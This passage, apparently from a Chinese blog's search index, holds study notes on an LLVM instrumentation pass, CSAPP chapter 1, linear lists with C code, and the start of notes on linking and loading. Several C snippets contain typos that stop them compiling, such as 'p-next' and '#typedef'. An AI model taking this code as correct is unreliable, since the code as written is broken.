插桩的注意点一般来说,插桩代码的时候,我们往往会在源代码中插入一些call指令来调用我们实现的函数。 举个例子,你可能会想写一个MemTrace Pass来监控运行时内存的访问。所以它会在所有访问内存的指令前插入一个call my_memlog(mem_addr)指令来记录这次的内存访问。\n假如MemTrace Pass编译在libmemtrace.so中,my_memlog()函数编译在libmemlog.a中, 那么我们不要忘记在编译的时候链接它:\n$ clang -Xclang -load -Xclang libmemtrace.so main.c -o main libmemlog.a\n\n你也可以和上面的hello-clang一样,把它封装到一个clang wrapper中。\n更难一些的Pass现在是仔细瞧瞧\nLLVM Programmer’s Manual​llvm.org/docs/ProgrammersManual.html\n的时候了。 其中,结合\n这个github项目​github.com/imdea-software/LLVM_Instrumentation_Pass/blob/master/InstrumentFunctions/Pass.cpp\n,读者可以再仔细去看看ProgrammersManual - The Core LLVM Class Hierarchy Reference这一小节,回顾一下LLVM IR在内存中的表示。 也记得看看Helpful Hints for Common Operations这一小节,学习一下怎么遍历IR、修改指令。 当你看完这些后,那个github项目你也肯定能看懂了。\n参考项目AFL++\n后言\n参考链接:LLVM架构简介 - LLVM IR入门指南 (evian-zhang.github.io)参考链接:LLVM编译器入门(一):LLVM整体设计参考链接:基于LLVM-18,使用New Pass Manager,编写和使用Pass\n\n","categories":["二进制安全"],"tags":["编译原理"]},{"title":"《CSAPP》chapter1 计算机系统漫游","url":"/2024/10/24/csapp/csapp-1/","content":"信息就是位+上下文系统中所有的信息——包括磁盘文件、内存中的程序、内存中存放的用户数据以及网络上传送的数据,都是由一串 0 和 1 比特表示的。区分不同数据对象的唯一方法是我们读到这些数据对象时的上下文。\n比如,在不同的上下文中,一个同样的字节序列可能表示一个整数、浮点数、字符串或者机器指令。\n程序被翻译成不同的格式C语言程序被其他程序转化为一系列的低级机器语言指令。\n这些指令按照一种称为可执行目标程序的格式打好包,并以二进制磁盘文件的形式存存放起来。\n目标程序也称为可执行目标文件。\n从源文件到目标文件的转化是由编译器驱动程序完成的。\n预处理器、编译器、汇编器和链接器一起构成了编译系统。\n\n\n预处理阶段\n编译阶段\n汇编阶段\n链接阶段\n\n了解编译系统如何工作是大有益处的了解编译系统如何工作的益处:\n\n优化程序性能\n理解链接时出现的错误\n避免安全漏洞\n\n处理器读并解释存储在内存中的指令shell 是一个命令行解释器,它输出一个提示符,等待输入一个命令行,然后执行这个命令。如果该命令行的第一个单词不是一个内置的 shell命令,那么 shell 就会假设这是一个可执行文件的名字。它将加载并允许这个文件。\n系统的硬件组成1 总线\n贯穿整个系统的是一组电子管道,称作总线,它携带信息字节并负责在各个部件间传递。通常总线被设计成传送定长的字节块,也就是字。字中的字节数是一个基本的系统参数,各个系统中都不尽相同。\n2 I/O设备\nI/O(输入/输出)设备是系统与外部世界的联系通道。\n每个I/O设备都通过一个控制器或适配器与I/O总线相连。控制器和适配器之间的区别主要在于它们的封装方式。控制器是I/O设备本身或者系统的主印制电路板(主板)上的芯片组。而适配器是一块插在主板插槽上的卡。无论如何,它们的功能都是在I/O总线和I/O设备之间传递信息。\n\n3 主存\n主存是一个临时存储设备,在处理器执行程序时,用来存放程序和程序处理的数据。从物理上来说,主存是由一组动态随机存取存储器(DRAM)芯片组成的。\n从逻辑上来说存储器是一个线性的字节数组,每个字节都有其唯一的地址(数组索引),这些地址是从零开始的。一般来说,组成程序的每条机器指令都由不同数量的字节构成。\n4 处理器\n中央处理单元,简称处理器,是解释(或执行)存储在主存中指令的引擎。处理器的核心是一个大小为一个字的存储设备(或寄存器),称为程序计数器(PC)。在任何时刻,PC都指向主存中的某条机器语言指令(即含有该条指令的地址)。\n算术逻辑单元(ALU)\nCPU在指令的要求下可能会执行这些操作\n\n加载:从主存复制一个字节或者一个字到寄存器,以覆盖寄存器原来的内容。\n存储:从寄存器复制一个字节或者一个字到主存的某个位置,以覆盖这个位置上原来的内容。\n操作:把两个寄存器的内容复制到ALU,ALU对这两个字做算术运行,并将结果存放到一个寄存器中,以覆盖该寄存器中原来的内容。\n跳转:从指令本身中抽取一个字,并将这个字复制到程序计数器(PC)中,以覆盖PC中原来的值。\n\n运行hello程序当运行程序时到底发生了什么。\n初始时,shell程序执行它的指令,等待我们输入一个命令。当我们在键盘上输入字符串./hello后,shell程序将字符逐一读入寄存器,再把它存放到内存中。\n当我们在键盘上敲回车键时,shell程序就知道我们已经结束了命令的输入。然后shell执行一系列指令来加载可执行的hello文件,这些指令将hello目标文件中的代码和数据从磁盘复制到主存。数据包括最终会被输出的字符串。\n利用直接存储器存取(DMA)技术,数据可以不通过处理器而直接从磁盘到达主存。\n一旦目标文件hello中的代码和数据被加载到主存,处理器就开始执行hello程序的main程序中的机器语言指令。这些指令将hello,world字符串中的字节从主存复制到寄存器文件,再从寄存器文件中复制到显示设备,最终显示在屏幕上。\n高速缓存至关重要系统花费了大量的时间把信息从一个地方挪到另一个地方。\n系统设计者的一个主要目标就是使这些复制操作尽可能快地完成。\n根据机械原理,较大的存储设备要比较小的存储设备运行得慢,而快速设备的造价远高于同类的低速设备。\n针对这种处理器与主存之间的差异,系统设计者采用了更小更快的存储设备,称为高速缓存存储器,作为暂时的集结区域,存放处理器近期可能会需要的信息。\n位于处理器芯片上的L1高速缓存的容量可以达到数万字节,访问速度几乎和访问寄存器文件一样快。一个容量为数十万到数百字节的更大L2高速缓存通过一条特殊的总线连接到处理器。进程访问L2高速缓存的时间要比访问L1高速缓存的时间长5倍。\nL1和L2高速缓存是用一种叫做静态随机访问存储器(SRAM) 的硬件技术实现的。\n高速缓存的局部性原理,即程序具有访问局部区域里的数据和代码的趋势。\n\n存储设备形成层次结构在处理器和一个较大较慢的设备(例如主存)之间插入一个更小更快的存储设备(例如高速缓存)的想法已经成为一个普遍的观念。实际上,每个计算机存储系统中的存储设备都被组织成了一个存储器层次结构,在这个层次结构中,从上至下,设备的访问速度越来越慢、容量越来越大,并且每字节的造价也越来越便宜。寄存器文件在层次结构中位于最顶部,也就是第0级或记为L0。\n\n存储器层次结构的主要思想是上一层的存储器作为低一层存储器的高速缓存。\n操作系统管理硬件当shell加载和运行hello程序时,以及hello程序输出消息时,shell和hello程序都没有直接访问键盘、显示器、磁盘或者主存。取而代之的是,它们依靠操作系统提供的服务。我们可以把操作系统看成是应用程序和硬件之间插入的一层软件。所有应用程序对硬件的操作尝试都必须通过操作系统。\n\n操作系统有两个基本功能:1.防止硬件倍失控的原因程序滥用。2.向原因程序提供简单一致的基址来控制复杂而又通常大不相同的低级硬件设备。\n操作系统通过几个基本的抽象概念(进程、虚拟内存和文件)来实现这两个功能。\n文件是对I/O设备的抽象表示,虚拟内存是对主存和磁盘I/O设备的抽象表示,进程则是对处理器、主存和I/O设备的抽象表示。\n\n进程像hello这样的程序在现代系统上运行时,操作系统会提供一种假象,就好像系统上只有这个程序在运行。程序看上去是独占地使用处理器、主存和 I/O 设备。处理器看上去就像在不间断地一条接一条地执行程序中的指令,即该程序的代码和数据是系统内存中唯一的对象。这些假象是通过进程的概念来实现的,进程是计算机科学中最重要和最成功的概念之一。\n进程是操作系统对一个正在运行的程序的一种抽象。在一个系统上可以同时运行多个进程,而每个进程都好像在独占地使用硬件。而并发运行,则是说一个进程的指令和另一进程的指令是交错执行的。\n在大多数系统中,需要运行的进程数是多于可以运行它们的CPU个数的。传统系统在一个时刻只能执行一个程序,而先进的多核处理器同时能够执行多个程序。无论是在单核还是多核系统中,一个CPU看上去都像是在并发地执行多个进程,这时通过处理器在进程间切换来实现的。操作系统实现这种交叉执行的机制称为上下文切换。\n操作系统保持跟踪进程运行所需的所有状态信息。这种状态,也就是上下文,包括许多信息,比如PC和寄存器的当前值,以及主存的内容。在任何一个时刻,单处理器系统都只能执行一个进程的代码。当操作系统决定要把控制权从当前进程转移到某个新进程时,就会进行上下文切换,即保存当前进程的上下文、恢复新进程的上下文,然后将控制权传递到新进程。新进程就会从它上次停止的地方开始。\n示例场景中有两个并发的进程:shell进程和hello进程。最开始,只有shell进程在运行,即等待命令行上的输入。当我们让它运行hello程序时,shell通过调用一个专门的函数,即系统调用,来执行我们的请求,系统调用会将控制权传递给操作系统。操作系统保存shell进程的上下文,创建一个新的hello进程及其上下文,然后将控制权传递给新的hello进程。hello进程终止后,操作系统恢复shell进程的上下文,并将控制权传回给它,shell进程会继续等待下一个命令行输入。\n从一个进程到另一个进程的转换是由操作系统内核(kernel)管理的。内核是操作系统代码常驻主存的部分。当应用程序需要操作系统的某些操作时,比如读写文件,它就执行一条特殊的系统调用(system call)指令,将控制权传递给内核。然后内核执行被请求的操作并返回应用程序。注意,内核不是一个独立的进程。相反,它是系统管理全部进程所用代码和数据结构的集合。\n\n实现进程这个抽象概念需要低级硬件和操作系统软件之间的紧密合作。\n线程尽管通常我们认为一个进程只有单一的控制流,但是在现代系统中,一个进程实际上可以由多个称为线程的执行单元组成,每个线程都运行在进程的上下文中,并共享同样的代码和全局数据。\n由于网络服务器中对并行处理的需求,线程称为越来越重要的编程模型,因为多线程之间比多进程之间更容易共享数据,也因为线程一般来说都比进程更高效。当有多处理器可用的时候,多线程也是一种使得程序可以运行得更快的方法。\n虚拟内存虚拟内存是一个抽象概念,它为每个进程提供了一个假象,即每个进程都在独占地使用主存。每个进程看到的内存都是一致的,称为虚拟地址空间。\n\n每个进程看到的虚拟地址空间由大量准确定义的区构成,每个区都有专门的功能。\n\n程序代码和数据。对所有的进程来说,代码是从同一固定地址开始,紧接着的是和C全局变量相对应的数据位置。代码和数据区是直接按照可执行目标文件的内容初始化的。\n堆。代码和数据区后紧随着的是运行时堆。代码和数据区在进程一开始运行时就被指定了大小,与此不同,当调用像malloc和free这样的C标准库函数时,堆可以在运行时动态地扩展和收缩。\n共享库。大约在地址空间的中间部分是一块用来存放像C标准库和数学库只有的共享库的代码和数据的区域。\t\n栈。位于用户虚拟地址空间顶部的是用户栈,编译器用它来实现函数调用。和堆一样,用户·栈在程序执行期间可以动态地扩展和收缩。特别地,每次我们调用一个函数时,栈就会增长;从一个函数返回时,栈就会收缩。\n内核虚拟内存。地址空间顶部的区域是为内核保留的。不允许应用程序读写这个区域的内容或者直接调用内核代码定义的函数。相反,它们必须调用内核来执行这些操作。\n\n\t\n虚拟内存的运作需要硬件和操作系统软件之间精密复杂的交互,包括堆处理器生成的每个地址的硬件翻译。基本思想是把一个进程虚拟内存的内容存储在磁盘上,然后用主存作为磁盘的高速缓存。\n文件文件就是字节序列,仅此而已。每个I/O设备,包括磁盘、键盘、显示器,甚至网络,都可以看成是文件。系统中的所有输入输出都是通过使用一小组称为Unix I/O的系统函数调用读写文件来实现的。\n文件这个简单而精致的概念是非常强大的,因为它像应用程序提供了一个统一的视图,来看待系统中可能含有的所有各式各样的I/O设备。例如,处理磁盘文件内容的应用程序员可以非常幸福,因为它们无须了解具体的磁盘技术。进一步说,同一个程序可以在使用不同磁盘技术的不同系统上运行。\n系统之间利用网络通信现代系统经常通过网络和其他系统连接到一起。从一个单独的系统来看,网络可视为一个 I/O 设备,当系统从主存复制一串字节到网络适配器时,数据流经过网络到达另一条机器,而不是比如说到达本地磁盘驱动器。相似地,系统可以读取从其他及其发送来的数据,并把数据复制到自己的主存。\n\n重要主题Amdahl定律该定率的主要思想是,当我们对系统的某个部分加速时,其对系统整体性能的影响取决于该部分的重要性和加速程度。若系统执行某应用程序需要时间为T old。假设系统某部分所需执行时间与该时间的比例为a,而该部分性能提示比例为k。即该部分初始时间为a T old,现在所需时间为(a T old)/k。因此总的执行时间应为\n\nAmdahl 定律一个有趣的情况是考虑k趋向于无穷时的效果。这就意味着,我们可以区系统的某一部分将其加速到一个点,在这个点上,这部分划分的时间可以忽略不记。\n于是我们得到\t\n\nAmdahl 定律描述了改善任何过程的一般原则。除了可以用在加速计算机系统方面之外,它还可以用在公司试图降低刀片制造成本,或学生想要提高自己的绩点平均值等方面。也许它在计算机世界里是最有意义的,在这里我们常常把性能提升2倍或更高的比例因子。这么高的比例因子只有通过优化系统的大部分组件才能获得。\n并发和并行数字计算机的历史中,有两个需求是驱动进步的持续动力:一个是我们想要计算机做得更多,另一个是我们想要计算机运行得更快。当处理器能够同时做更多的事情时,这两个因素都会改进。\n我们用的术语并发是一个通用的概念,指一个同时具有多个活动的系统;而术语并行指的是用并发来使一个系统运行得更快。并行可以在计算机系统的多个抽象层次上运用。在此,我们按照系统层级结构中由高到低的顺序重点强调三个层次。\n1.线程级并发\n构建在进程这个抽象之上,我们能够设计出同时有多个抽象执行的系统,这就导致了并发。使用线程,我们甚至能够在一个进程中执行多个控制流。\n自出现时间共享依赖,计算机系统中就可以有了对并发执行的支持。传统意义上,这种并发执行只是模拟出来的,是通过使一台计算机在它正在执行的进程间快速切换来实现的。这种配置称为单处理器系统。\n当构建一个由单操作系统内核控制的多处理器组成的系统时,我们就得到了一个多处理器系统。随着多核处理器和超线程的出现,这种系统才变得常见。\n\n多核处理器是将多个CPU集成到一个集成电路芯片上。\n\n超线程,有时称为同时多线程,是一项允许一个CPU执行多个控制流的技术。它涉及CPU某些硬件有多个备份,比如程序计数器和寄存器文件,而其他的硬件部分只有一份,比如执行浮点算术运算的单元。\n2.指令级并行\n在较低的抽象层次上,现代处理器可以同时执行多条指令的数学称为指令集并行。\n3.单指令、多数据并行\n在最低层次上,许多现代处理器拥有特殊的硬件,允许一条指令产生多个可以并行执行的操作,这种方式称为单指令、多数据,即SIMD并行。\n提供这些 SIMD 指令是为了提供处理影像、声音和视频数据应用的执行速度。\n计算机系统中抽象的重要性抽象的使用是计算机科学中最为重要的概念之一。\n\n虚拟机,它提供对整个计算机的抽象,包括操作系统、处理器和程序。\n","categories":["CSAPP"],"tags":["读书笔记"]},{"title":"《数据结构和算法》chapter3 线性表","url":"/2024/10/24/data_structure/data-struct-3/","content":"线性表的定义\n\n线性表(list):零个或多个数据元素的有限序列。\n\n如果用数学语言来进行定义。可如下:\n我们定义线性表为 $(a_1,…,a_i-1,a_i,ai+1…,a_n)$,其中元素$a_i-1$被称为 $a_{i-1}$ 的直接前驱元素,而 $a_{i+1}$ 则是 $a_i$ 的直接后继元素。\n对于 $i = 1, 2, \\ldots, n-1$,每个元素 $a_i$仅有一个直接后继;而对于 $i = 2, 3, \\ldots, n$,每个元素 $a_i$ 仅有一个直接前驱。\n线性表的长度 $n$(其中 $n \\geq 0$ )表示表中元素的总数。第一个数据元素为 $a_1$,最后一个数据元素为 $a_n$,而 $a_i$ 表示第 $i$个数据元素。在这种情况下,$i$ 称为数据元素 $a_i$ 在线性表中的位序。\n线性表的抽象数据类型​线性表的抽象数据类型定义如下:\nADT 线性表(List)Data\t线性表的数据对象集合为{a.1,a.2,......,a.n},每个元素的类型均为DataType。其中,除第一个元素a.1外,每一个元素有且只有一个直接前驱元素,除了最后一个元素a.n外,每一个元素有且只有一个直接后继元素。数据元素之间的关系是一对一的关系。Operation\tInitList(*L):初始化操作,建立一个空的线性表L。\tListEmpty(L):若线性表为空,返回true,否则返回false。\tClearList(*L):将线性表清空。\tGetElem(L,i,*e):将线性表L中的第i个位置元素值返回给e。\tLocateElem(L,e):在线性表L中查找与给定值e相等的元素,如果查找成功,返回该元素在表中序号表示成功;否则,返回0表示失败。\tListInsert(*L,i,e):在线性表L中的第i个位置插入新元素e。\tListlength(L):返回线性表L的元素个数。endADT\n\n​对于不同的应用,线性表的基本操作是不同的,上述操作是最基本的,对于实际问题中涉及的关于线性表的更复杂操作,完全可以用这些基本操作的组合来实现。\n​\t\n\n[!TIP]\n当你传递一个参数给函数的时候,这个参数会不会在函数内被改动决定了使用什么参数形式。\n如果需要被改动,则需要传递指向这个参数的指针。\n如果不用被改动,可以直接传递这个参数。\n\n​\n线性表的顺序存储结构顺序存储定义\n线性表的顺序存储结构,指的是用一段地址连续的存储单元依次存储线性表的数据元素。\n\n顺序存储方式\n既然线性表的每个数据元素的类型都相同,所以可以用C语言的一维数组来实现顺序存储结构。\t\n\n#define MAXSIZE 20\t\t\t//存储空间初始分配量#typedef int ElemType\t\t//ElemType类型根据您实际情况而定,这里为int#typedef struct\t\t\t\t{\tElemType data[MAXSIZE];//数组,存储数据元素\tint length;\t\t\t\t//线性表当前长度}\n\n顺序存储结构需要三个属性:\n\n存储空间的起始位置:数组data,它的存储位置就是存储空间的存储位置。\n\n线性表的最大存储容量:数组长度MAXSIZE。\n\n线性表的当前长度:length。\n\n\n数据长度与线性表长度的区别​数组的长度是存放线性表的存储空间的长度,存储分配后这个量一般是不变的。\n线性表的长度是线性表中数据元素的个数,随着线性表插入和删除操作的进行,这个量是变化的。\n地址计算方法​存储器中的每个存储单元都有自己的编号,这个编号称为地址。\n比如我们在图书馆占位,当我们占座后,占座的第一个位置确定后,后面的位置都是可以计算的。\n如果我的座位编号为3,后面的10个人座位编号为几呢?当然是4,5,6等等。\n由于每个数据元素,不管它是整型、实型、还是字符型,它都是需要占用一定的存储单元空间的。假设占用的是c个存储单元,那么线性表中第i+1个数据元素的存储位置和第i个数据元素的存储位置满足下列关系(LOC表示获得存储位置的函数)。\n$$LOC(a_i+1)=LOC(a_i)+c$$\n所以对于第i个数据元素$a_i$的存储位置可以由$a_1$推算得出:\n$$LOC(a_i)=LOC(a_1)+(i-1)*c$$\n通过这个公式,你可以随时算出线性表中任意位置的地址。\n顺序存储结构的插入与删除获得元素操作​实现GetElem操作,即将线性表L中的第i个元素值返回,其实是非常简单的。就程序而言,只要i的数值在数组下标范围内,就是把数组第i-1下标的值返回即可。\t\t\n#define\tOK\t1#define ERROR 0//Status是函数的类型,其值是函数结果状态代码,如OK等typedef int Status;//初始条件:顺序线性表L已存在,1<=i<=ListLength(L)//操作结果:用e返回L中第i个数据元素的值,注意i是指位置,第1位置的数组是从0开始Status GetElem(SqList L,int i,ElemType *e){ if(L.length==0 || i<1 ||i>L.length){ return ERROR; } *e=L.data[i-1] return OK;}\n\n插入操作​实现在第i个位置插入新元素e。\n插入算法的思路:\n\n如果插入位置不合理,抛出异常;\n\n如果线性表长度大于等于数组长度,则抛出异常或动态增加容量;\n\n从最后一个元素开始向前遍历到第i个位置,分别将它们都向后移动一个位置。\n\n将要插入元素填入位置i处;\n\n表长加1。\n\n\n实现代码如下:\n//初始条件:顺序线性表L中已存在,1<=i<=Listlength(L)//操作结果:在L中第i个位置之前插入新的数据元素e,L的长度加1Status ListInsert(SqList *L,int i,ElemType e){ int k; if(L->length==MAXSIZE){ return ERROR; } if(i<1 || i>L->length+1){ return ERROR; } if(i<=L->length){ for(k=L->length-1;k>=i-1;k--){ L->data[k+1]=L->data[k]; } } L->data[i-1]=e; L->length++; return OK;}\n\n删除操作删除算法的思路:\n\n如果删除位置不合理,抛出异常。\n\n取出删除元素;\n\n从删除元素位置开始遍历到最后一个元素位置,分别将它们都向前移动一个位置。\n\n表长减1\n\n\n\t\nStatus ListDelete(SqList *L,int i,ElemType *e){\tint k;\tif(L->length==0)\t\treturn ERROR;\tif(i<1 || i>L->length)\t\treturn ERROR;\t*e=L->data[i-1];\tif(i<L->length){\t\tfor(k=i;k<L->length;k++){\t\t\tL->data[k-1]=L->data[k];\t\t}\t}\tL->length--;\treturn OK;}\n\n\n\n线性表顺序存储结构的优缺点\n\n\n优点\n缺点\n\n\n\n无须为表示表中元素之间的逻辑关系而增加额外的存储空间\n插入和删除操作需要移动大量元素\n\n\n可以快速地存取表中任一位置的元素\n当线性表长度变化较大时,难以确定存储空间的容量\n\n\n\n造成存储空间的“碎片”\n\n\n线性表的链式存储结构顺序存储结构不足的解决方法所有的元素都不考虑相邻位置了,哪有空位就到哪里,而只是让每个元素知道它下一个元素的位置在那里,这样,我们可以在第一个元素时,就知道第二个元素的位置(内存地址),而找到它。\n线性表链式存储结构定义链式存储结构中,除了要存储数据元素信息外,还要存储它的后继元素的存储位置。\n我们把存储数据元素信息的域称为数据域,把存储直接后继位置的域称为指针域。指针域中存储的信息称作指针或链。这两部分信息组成数据元素a.i的存储映像,称为结点(Node)。\nn个结点(a.i的存储映像)链结成一个链表,即为线性表($a_1,a_2,…,a_n$)的链式存储结构,因为此链表的每个结点中只包含一个指针域,所有叫做单链表。单链表正是通过每个结点的指针域将线性表的数据元素按其逻辑次序链接在一起。\n我们把链表中第一个结点的存储位置叫做头指针,那么整个链表的存取就必须是从头指针开始进行了。之后的每一个结点,其实就是上一个的后继指针指向的位置。\n线性链表的最后一个结点为空。\n有时,我们为了更加方便地对链表进行操作,会在单链表的第一个节点前附设一个结点,称为头结点。\n头结点的数据源可以不存储任何信息。\n头结点的指针域指向第一个结点的指针。\n头指针与头节点的异同\n\n\n头指针\n头结点\n\n\n\n头指针是指链表指向第一个结点的指针,若链表有头结点,则是指向头结点的指针\n头结点是为了操作的统一和方便而设立的,放在第一元素的结点之前,其数据域一般无意义(也可存放链表的长度)\n\n\n头指针具有标志作用,所有常用头指针冠以链表的名字\n有了头结点,对在第一元素结点前插入结点和删除第一结点,其操作与其他结点的操作就统一了\n\n\n无论链表是否为空,头指针均不为空。头指针是链表的必要元素\n头结点不一定是链表必需要素\n\n\n线性表链式存储结构代码描述​若线性表为空表,则头结点的指针域为空。\n单链表中,我们在C语言中可用结构指针来描述。\n//线性表的单链表存储结构typedef struct Node{\tElemType data;\tstruct Node *next;}Node;typedef struct Node *LinkList;//定义LinkList\n\n从这个结构定义中,我们也就知道,结点由存储数据元素的数据域和存储后继结点的指针域组成。\t\n单链表的读取获得链表第i个数据的算法思路:\n\n声明一个指针p指向链表第一个结点,初始化j从1开始;\n\n当j<i时,就遍历链表,让p的指针向后移动,不断指向下一结点,j累加1;\n\n若到链表末尾p为空,则说明第i个结点不存在。\n\n否则查找成功,返回结点p的数据\n\n\n实现代码算法如下:\n//初始条件:链式线性表L已存在,1<=i<=ListLength(L)//操作结果:用e返回L中第i个数据元素的值Status GetElem(LinkList L,int i,ElemType *e){\tint j;\tLinkList p;\t\t//声明一结点\tp=L->next;\t\t//让p指向链表L的第一个结点\tj=1;\t\t\t//j为计数器\twhile(p && j<i){\t\tp=p->next;\t//让p指向下一个结点 ++j;\t} if(!p || j>i) return ERROR;\t//第i个元素不存在 *e=p->data; return OK;}\n\n单链表的插入与删除单链表的插入单链表第i个数据插入结点的算法思路:\n\n明一指针指向链表头结点,初始化j从i开始\n\n当j<i时,就遍历链表,让p的指针向后移动,不断指向下一结点,j累计1;\n\n若到链表末尾p为空,则说明第个结点不存在;\n\n否则查找成功,在系统中生成一个空结点s;\n\n将数据元素e赋值给s->data;\n\n单链表的插入标准语句s->next=p->next;p->next=s;\n\n返回成功\n\n\n实现代码算法如下:\n//初始条件:链式线性表L已存在,i<=i<=ListLength(L)//操作结果:在L中第i个位置之前插入新的数据元素e,L的长度加1Status ListInsert(LinkList *L,int i,ElemType e){\tint j;\tLinkeList p,s;\tp=*L;\tj=1;\twhile(p && j<i){\t\t//寻找第i个结点\t\tp=p-next;\t\t++j;\t}\tif(!p || j>i){\t\treturn ERROR;\t\t//第i个元素不存在\t}\ts=(LinkList)malloc(sizeof(Node));\t//生成新结点(C语言标准函数)\ts->data=e;\ts-next=p->next;\t\t\t//将p的后继节点赋值给s的后继\tp->next=s;\t\t\t\t//将s赋值给p的后继\treturn OK;}\n\n单链表的删除单链表第i个数据删除结点的算法思路:\n\n声明一指针p指向链表头结点,初始化j从1开始;\n\n当j<i时,就遍历链表,让p的指针向后移动,不断指向下一个结点,j累加1;\n\n若到链表末尾p为空,则说明第i个结点不存在;\n\n否则查找成功,将欲删除的结点p->next赋值给q;\n\n单链表的删除标准语句p->next=q-next;\n\n将q结点中的数据赋值给e,作为返回;\n\n释放q结点;\n\n返回成功。\n\n\n实现代码算法如下:\n//初始条件:链式线性表已存在,1<=i<=Listlengeh(L)//操作结果:删除L的第i个数据元素,并用e返回其值,L的长度减1Status ListDelete(LinkList *L,int i,ElemType *e){\tint j;\tLinkList p,q;\tp=*L;\tj=1;\twhile(p-next && j<i){\t//遍历寻找第i个元素\t\tp=p->next;\t\t++j;\t}\tif(!(p->next)|| j>i){\t\treturn ERROR;\t//第i个元素不存在\t}\tq=p->next;\tp->next=q->next;\t//将q的后继赋值给p的后继\t*e=q->data;\t\t\t//将q结点中的数据给e\tfree(q);\t\t\t//让系统回收此结点,释放内存\treturn OK;}\n\n对于插入或删除数据越频繁的操作,单链表的效率优势就越明显。\n单链表的整表创建单链表整表创建的算法思路:\n\n声明一指针p和计数器变量i。\n\n初始化一空链表L。\n\n让L的头结点的指针指向NULL,即建立一个带头结点的单链表。\n\n循环:\n\n\n1.生成一新节点赋值给p;\n2.随机生成一数字赋值给p的数据域p->data;\n3.将p插入到头结点与前一新结点之间。\n实现代码算法如下:\n//随机产生n个元素的值,建立带表头结点的单链线性表L(头插法)void CreateListHead(LinkList *L,int n){\tLinkList p;\tint i;\tsrand(time(0));\t\t\t\t\t\t//初始化随机数种子\t*L=(LinkList)malloc(sizeof(Node));\t(*L)->next=NULL;\t\t\t\t\t//先建立一个带头结点的单链表\tfor(i=0;i<n;i++){\t\tp=(LinkList)malloc(sizeof(Node));//生成新结点\t\tp->data=rand()%100+1;\t\t\t//随机生成100以内的数字\t\tp->next=(*L)->next;\t\t(*L)->next=p;\t\t\t\t\t//插入到表头\t}}\n\n这段算法代码里,我们其实用的是插队的办法,就是始终让新结点在第一的位置。我也可以把这种算法简称为头插法。\n我们把每次新结点都插在终端结点的后面,这种算法称之为尾插法。\n实现代码算法如下:\n//随机产生n个元素的值,建立带表头结点的单链表线性表L(尾插法)void CreateListTail(LinkList *L,int n){ LinkList p,r; int i; srand(time(0)); *L=(LinkList)malloc(sizeof(Node)); r=*L; for(i=0;i<n;i++){ p=(Node *)malloc(sizeof(Node)); p->data=rand()%100+1; r->next=p; r=p } r->next=NULL;}\n\n注意L与r的关系,L是指整个单链表,而r是指向尾结点的变量,r会随着循环不断地变化结点,而L则是随着循环增长为一个多结点的链表。\n单链表的整表删除当我们不打算使用这个单链表时,我们需要把他销毁,其实也就是在内存中将它释放掉,以便于留出空间给其它程序或软件使用。\n单链表整表删除的算法思路如下:\n\n声明一指针p和q。\n\n将第一个结点赋值给p。\n\n循环:\n\n\n(1)将下一结点赋值给q;\n(2)释放p;\n(3)将q赋值给p。\n实现代码算法如下:\n//初始条件:链式线性表L已存在。操作结果:将L重置为空表Status ClearList(LinkList *L){\tLinkList p,q;\tp=(*L)->next;\twhile(p){\t\tq=p->next;\t\t//p指向第一个结点\t\tfree(p);\t\t//没到表尾\t\tp=q;\t}\t(*L)->next=NULL;\t//头结点指针域为空\treturn OK;}\n\n单链表结构与顺序存储结构的优缺点对比单链表结构和顺序存储结构\n\n\n\n存储分配方式\n时间性能\n空间性能\n\n\n\n顺序\n\n\n\n\n通过上面的对比,我们可以得出一些经验性的结论:\n\n若线性表需要频繁查找,很少进行插入和删除操作时,宜采用顺序存储结构。\n当线性表中的元素个数变化比较大或者根本不知道有多大时,最后用单链表结构。\n\n静态链表由于有些编程语言没有指针,所以理论上无法实现链表结构。\n但是智慧的人们想出了用数组来代替指针描述单链表。\n首先让我们数组的元素都是由两个数据域组成,data和cur。也就是说,数组的每个下标都对应一个data和cur。数据域data用来存放数据元素,而cur相当于单链表中的next指针,存放该元素的后继在数组中的下标,我们把cur叫作游标。\n我们把这种用数组描述的链表叫作静态链表,这种描述方法还有起名叫作游标实现法。\n我们俩方便插入数据,我们通常会把数据建立得大一些,以便有一些空闲空间可以便于插入时不至于溢出。\n#define MAXSIZE 1000 //存储空间初始分配量//线性表的静态链表存储结构typedef struct{\tElemType data;\tint cur; //游标(Cursor),为0的表示无指向}Component,StaticLinkList[MAXSIZE];\n\n\n循环链表将单链表中终端结点的指针端由空指针改为指向头结点,就使整个单链表形成一个环,这种头尾相接的单链表称为单循环链表,简称循环链表。\n循环链表解决了一个很麻烦的问题。如何从当中一个结点出发,访问到链表的全部结点。\n为了使空链表与非空链表处理一致,我们通常设一个头结点,当然,这并不是说,循环链表一定要头结点,这需要注意。\n其实循环链表和单链表的主要差异就在于循环的判断条件上,原来是判断p->next是否为空,现在则是p->next不等于头结点,则循环未结束。\np=rearA->next; //保存A表的头结点rearA->next=rearB->next->next; //将本是指向B表的第一个结点 //赋值给reaA-nextq=rearB->next; rearB->next=p; //将原A表的头结点赋值给rearB->nextfree(q); //释放q\n\n\n双向链表双向链表(double linked list)是在单链表的每个结点中,再设置一个指向其前驱结点的指针域。\n所以在双向链表中的结点都有两个指针域,一个指向直接后继,另一个指向直接前驱。\n//线性表的双向链表存储结构typedef struct DulNode{\tElemType data;\tstruct DulNode *prior; //直接前驱指针\tstruct DulNode *next; //直接后继指针}DulNode,*DuLinkList;\n","categories":["数据结构和算法"]},{"title":"《链接、装载与库》chapter1 简介","url":"/2024/10/24/link_load_lib/link-load-lib-1/","content":"第一章 温故而知新从hello,world说起计算机在执行hello,world的时候发生了什么?\n万变不离其宗在计算机多如牛毛的硬件设备中。有三个部件最为关键,它们分别是 CPU、内存和 I/O 控制芯片。\n早期 CPU 的核心频率并不高,跟内存的频率一样,它们都是直接连接在同一个总线(Bus) 上。由于 I/O 设备等速度和内存相比还是慢很多。为了协调 I/O 设备与总线之间的速度,也为了能够让 CPU 能够和 I/O 设备进行通信,一般每个设备都有一个相应的 I/O 控制器。\n之后由于 CPU 核心频率的提升,导致内存跟不上 CPU 的速度,于是产生了与内存频率一致的系统总线,而 CPU 采用倍频的方式与系统总线进行通信。接着由于图形化的普及,使得图形芯片需要跟内存和 CPU 之间大量交换数据,慢速的 I/O 总线已经无法满足图形设备的巨大需求。为了协调 CPU、内存和高速的图形设备,人们设计了一个高速的北桥(Northbridge,PCI Bridge) 芯片,以便它们之间能够高速地交换数据。\n由于北桥运行的速度非常高,所有相对低速的设备如果全都直接连接在北桥上,北桥即须处理高速设备,又须处理低速设备,设计就会十分复杂。于是人们又设计了专门处理低速设备的南桥(Southbridge) 